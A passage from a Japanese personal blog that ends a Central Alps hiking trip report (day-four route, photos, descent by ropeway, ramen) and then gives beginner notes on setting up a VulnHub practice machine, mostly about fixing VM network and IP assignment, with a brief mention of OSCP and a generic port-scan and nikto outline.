  • Day3の行程においても岩場が目立つので注意。
  • 値段は忘れたが、協力金の箱がある。

水場の水を煮沸せずに飲んでみたがおいしかった。2Lのプラティパスなら割とすぐにいっぱいになるだけの流量はあった。先程の写真でもわかるように、宿営地から下界が見えるので夜は夜景がきれい。小屋には銀マットが常備されている。

Day4

Day4の行程は以下。

f:id:yamanobori_programing:20191013233245j:plain

前日に飲んだ睡眠導入剤に筋弛緩作用でもあったのだろうか、うまく力が入らない。次から睡眠薬については吟味しよう。

f:id:yamanobori_programing:20191013233626j:plain

夜景と御来光。やはり夜景は良い。

f:id:yamanobori_programing:20191013233726j:plain

木曽前岳。2年前にここを使って上松側に下山したことがあるが、全く整備されてなかった。上松側に降りようという方はご確認を。あと、何より利用者が少ない。

f:id:yamanobori_programing:20191013233914j:plain

おそらく2,858mピークと思われる。ここまで来るのに永遠平沢進の「山頂晴れて」が脳内BGMとして再生されていた。

f:id:yamanobori_programing:20191013234030j:plain

剣岳。やばかった(語彙力の慢性的な欠如)

f:id:yamanobori_programing:20191014001809j:plain

中央アルプス最高峰登頂。山頂は2年前よりかは少し狭くなっている気がしたが...。自分が少し大きくなったのだろう。

f:id:yamanobori_programing:20191014002017j:plain

残念ながら霧が出始めたので千畳敷カールのよさげな写真は撮れなかった...

この後はロープウェイで下山して駒ケ根の湯で温泉に入って松本で1泊。

f:id:yamanobori_programing:20191014002153j:plain

牡蠣ラーメンおいしかった。替え玉できるの非常に良い。

Day4まとめ等

  • 宝剣のすれ違いがめんどくさかった。
  • 宝剣山荘から木曽駒ケ岳へは荷物をデポしていくとよさげ。
  • 極楽平では直下にロープウェイの駅が見えるが、下界に降りたい欲求に負けないようlに注意。

おまけ

f:id:yamanobori_programing:20191014002514j:plain

北野建設の電光掲示

【Vulnhub】VulnHubを致したときのメモ

前略

先日の話。

 kali linuxの実機を手に入れたので、ペネトレーションテストでもやってみようと思った次第ではあるが、How to  ペネトレな状態なのでひとまずTLを泳いでいたVulnHubなるものをやってみようとなったので、その時のメモ。あまり大したことは書いてない(書けない)と思われ...

www.vulnhub.com

ご存じの方も多いとは思うが、一応VulnHubについて拙い文章で説明を。ここでは脆弱なマシンイメージが配布されている。自分が攻撃してみたいマシンのイメージを個々にダウンロードし、仮想環境なりで動作させることで脆弱なマシンを用意する。それに対して攻撃を行うことで、実際の攻撃をシミュレーションしたりできるようである。また、OSCPの練習の場として利用している人もいるようである。今回使用したマシンはこれである。

www.vulnhub.com

なお、この問題を解くにあたり、こちらのページを大いに参考にさせていただいた。

whitelily6u6.hateblo.jp

(勝手にリンク張らせていただいたがよかったのだろうか?)

OSCPについて

VulnHubをやっていくうちにOSCPについていろいろ話が出てきたのでメモ程度に。

OSCP(Offensive Security Certified Professional)はkali linuxを提供してる会社のベンダー資格であり、実技試験である。殊日本では取得者があまり多くないようであるが、世界的に見れば、ペネトレーションテストを行う際の必須資格と化しているようである。また情報処理安全確保支援士の試験より難しいようである。

仮想マシンIPアドレスが振られない。

.vmdkとその他もろもろが配られたのでVMwareで起動すればいいものを、今までVirtual Boxを使ってきてたので今回もVirtual Boxを使って起動した。どうやら、Virtual Boxを使って起動するとIPアドレスがうまく振られない問題が発生しているようだったので、このサイトを参考にした。

 

www.hypn.za.net

それでもIPアドレスが振られなかったので、あきらめてVMwareを導入して動かしてみることに。これで振られれば良かったのでだがやはり振られない。どうしたものかと考えながら色々設定をいじっていくうちにIPアドレスを振ることに成功したので、以下にその時ホストネットワークマネージャーとネットワークの設定を示す。

アダプター:アダプターを手動で設定

DHCPサーバ:サーバを有効化

アダプタの割り当て:ブリッジ

アダプタータイプ:PCnet-PCⅠⅡ(Am79C970A)

まとめ的something 

IPアドレスが振られたようなので早速VulnHubを致していく。致すといってもVulnHubは初めてなので最初の方に示したBlogのwrite-upをトレースする形になってしまうが、定石を学ぶといった意味ではやはり最初はそのような感じになるのだろう。

詳細記事は先のブログに譲ることにする。VulnHubというか脆弱性診断の定石としては

IPアドレスの取得(というか攻撃対象の情報取得)

ポートスキャン

niktoなりで脆弱性スキャン

hogehoge

といった感じだろうか?今後も色々なものに触手を伸ばしつつ、本業のバイナリアンの方も精進していきたい。